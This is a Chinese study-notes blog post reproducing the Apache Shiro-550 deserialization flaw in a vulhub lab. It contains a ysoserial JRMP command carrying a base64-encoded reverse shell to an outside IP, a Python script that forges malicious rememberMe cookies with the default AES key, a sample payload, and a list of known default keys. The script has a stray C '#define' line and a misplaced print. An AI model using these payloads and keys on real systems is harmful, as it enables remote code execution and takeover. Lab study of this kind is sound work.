【Web】vulhub Shiro-550反序列化漏洞复现学习笔记

目录

Shiro简介

复现流程

工具一把梭

半脚本半手动

原理分析

反序列化入口

常见的key

登录过程

验证过程

利用原理


Shiro简介

Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单直观,同时提供了全面的安全功能,能够帮助开发者轻松地添加安全性到他们的应用程序中。

主要特点包括:

  1. 认证(Authentication):Shiro 提供了灵活且易于使用的认证机制,支持多种认证方式,包括基于用户名密码的认证、LDAP 认证、OAuth 认证等。

  2. 授权(Authorization):Shiro 支持基于角色和权限的访问控制,可以定义细粒度的权限控制策略,保护应用程序中的资源。

  3. 会话管理(Session Management):Shiro 管理用户会话,支持本地会话存储、集群环境下的分布式会话管理,并提供了会话超时、定时清理等功能。

  4. 加密(Cryptography):Shiro 提供了常用的加密算法和工具类,用于处理密码加密、数据加密等安全需求。

  5. Web 支持:Shiro 提供了与 Web 框架集成的支持,可以很方便地在 Web 应用中使用 Shiro 进行安全控制。

复现流程

工具一把梭

启动vulhub靶场

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第1张图片

先爆破密钥(shiro550的key是固定的硬编码)

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第2张图片

再探测利用链

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第3张图片

最后直接拿到shell命令执行

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第4张图片

半脚本半手动

启动vulhub靶场

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第5张图片

Runtime.exec Payload Generater | AresX's Blog

先用这个网站生成给ysoserial用的payload

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第6张图片

 用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第7张图片

用这个脚本跑恶意cookie的payload(作用是连接到ysoserial启动的服务器)

#define PY_SSIZE_T_CLEAN
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    # 打开JRMP客户端,连接到特定端口
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    # 用获取到的key  AES加密
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    # 生成随机16位长度的IV
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    # base64编码
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))
python shiro.py 124.222.136.33:8888

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第8张图片

生成的payload:

rememberMe=+XdqwyPART24Wzqx6uxQb+ITZbqHNJDvYx8kyu7dAAlwMgUX5dqy3ajClFgQnOkw/vXv+9+Rohr1fGqnMp0032QNU9gIUPLr3tr+RQf0g1wq43QtV2tIlU8EHyjlEZmv1vXygubJJxaehwwKV9hNY4a/ILKzHTBN8elVvS3wnN58fKieJHGHItEZlfPqvXbvZYtr5mZvw5Bqg9yoGdy+l6i4XjtBZwqqGgJ2Ea3Dmsm1Iy63RUwOagGlK+BkE1kfufF3i+Jk/Xkz3nlTWfT5Pc0eRdjpudTQ2X+DCJhBuVnwXPYUVX6UmMmRIU+UBAHvZyFL/N8L1Ibrb5KfTybgwTtTbv3215WxvUroQmACFNJFC3aDR1ep4aPrZ0TA+9NvOCjV2dJ22Tcrdzo34Yv3Hg==

最后在靶机登录时勾选rememberme(不要求能登录成功,只要让cookie反序列化就行)

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第9张图片

bp抓包改cookie

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第10张图片

监听下1337端口,成功反弹shell

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第11张图片

原理分析

反序列化入口

remember me
序列化 -> AES加密 -> Base64编码 -> 写入Cookie
身份认证:
Cookie值 ->Base64解码 -> AES解密 -> 反序列化

常见的key

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

登录过程

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第12张图片

验证过程

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第13张图片

利用原理

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第14张图片

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第15张图片

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记_第16张图片

1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
2、把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
4、JRMP服务器继续发送恶意payload1,利用CC等通用库的漏洞执行命令

你可能感兴趣的:(java,shiro,shiro-550,java反序列化,shiro反序列化,ctf,web)